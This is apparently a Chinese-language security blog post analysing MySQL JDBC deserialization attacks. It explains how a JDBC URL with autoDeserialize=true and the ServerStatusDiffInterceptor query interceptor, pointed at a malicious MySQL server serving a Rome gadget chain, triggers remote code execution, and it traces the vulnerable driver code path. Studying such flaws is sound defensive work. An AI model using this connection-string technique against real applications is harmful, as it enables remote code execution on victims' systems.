0x00 前言
JDBC在POC利用上,跟JNDI、RMI有些类似,都是一个链接触发的事。
0x01 概述
JDBC
JDBC(Java DataBase Connectivity
)是Java和数据库之间的一个桥梁,是一个 规范 而不是一个实现,能够执行SQL语句。它由一组用Java语言编写的类和接口组成。各种不同类型的数据库都有相应的实现。相关依赖:
1 | <dependency> |
原理
假设攻击者能够控制JDBC连接设置项,则可以通过设置其配置指向恶意MySQL服务器触发
ObjectInputStream.readObject()
达到反序列化的目的从而RCE。具体来说,通过JDBC连接MySQL服务端时,会有几句内置的查询语句需执行,其中两个查询的结果集在MySQL客户端进行处理时会被
ObjectInputStream.readObject()
进行反序列化处理。如果攻击者可以控制JDBC连接设置项,那么可以通过设置其配置指向恶意MySQL服务触发MySQL JDBC客户端的反序列化漏洞
可被利用的两条查询语句:
- SHOW SESSION STATUS
- SHOW COLLATION
0x02 漏洞
攻击流程
先看看一个大致的流程。
我使用P神等大佬写的一个Java反序列化神器:Java Chains,来开启一个恶意MySql服务端:
采用Rome链:
本地写一个客户端:
运行即可触发弹窗。
是不是跟前面学的RMI、JNDI有点类似,都是通过给受害端一个链接,让其访问链接并触发对应服务,其中就可以触发反序列化攻击。
原理分析
引入
从jdbc_url这个字符串入手:
1 | String jdbc_url = "jdbc:mysql://your_IP:3308/?" + |
your_IP:3308
是我们起的恶意MySql服务 ,后面还跟着两个参数:
- autoDeserialize=true
- 该参数用于控制对象的自动反序列化。如果设置为
true
,在处理请求时,系统会自动将接收到的数据反序列化为相应的对象。
- 该参数用于控制对象的自动反序列化。如果设置为
- queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
- 这个参数用于配置 MySQL JDBC 驱动的查询拦截器。
ServerStatusDiffInterceptor
是一个特定的拦截器,用于监控和记录服务器状态的变化。
- 这个参数用于配置 MySQL JDBC 驱动的查询拦截器。
重点关注一下第二个参数。
调试
断点打在DriverManager.getConnection()方法,调试到ConnectionImpl.connectOneTryOnly()如下处:(可以直接位移到此处)
跟进,发现拦截器是我们在参数queryInterceptors指定的ServerStatusDiffInterceptor类:
设置完拦截器,会调用其preProcess()方法:
跟进,执行到ServerStatusDiffInterceptor.populateMapWithSessionStatusValues()方法:
ResultSetUtil.resultSetToMap()方法即是漏洞触发点:
getObject()方法,得到一个对象,看起来跟反序列化有点沾边。
选择ResultSetImpl.getObject()方法:
这里的obj是恶意MySql服务端给出的,比如前面我所选择的Rmoe链。
与preProcess()方法对应的是postProcess,该方法还会重复一次攻击。
至此,流程粗糙过了一遍。更多的绕过和打配合到实战再说吧。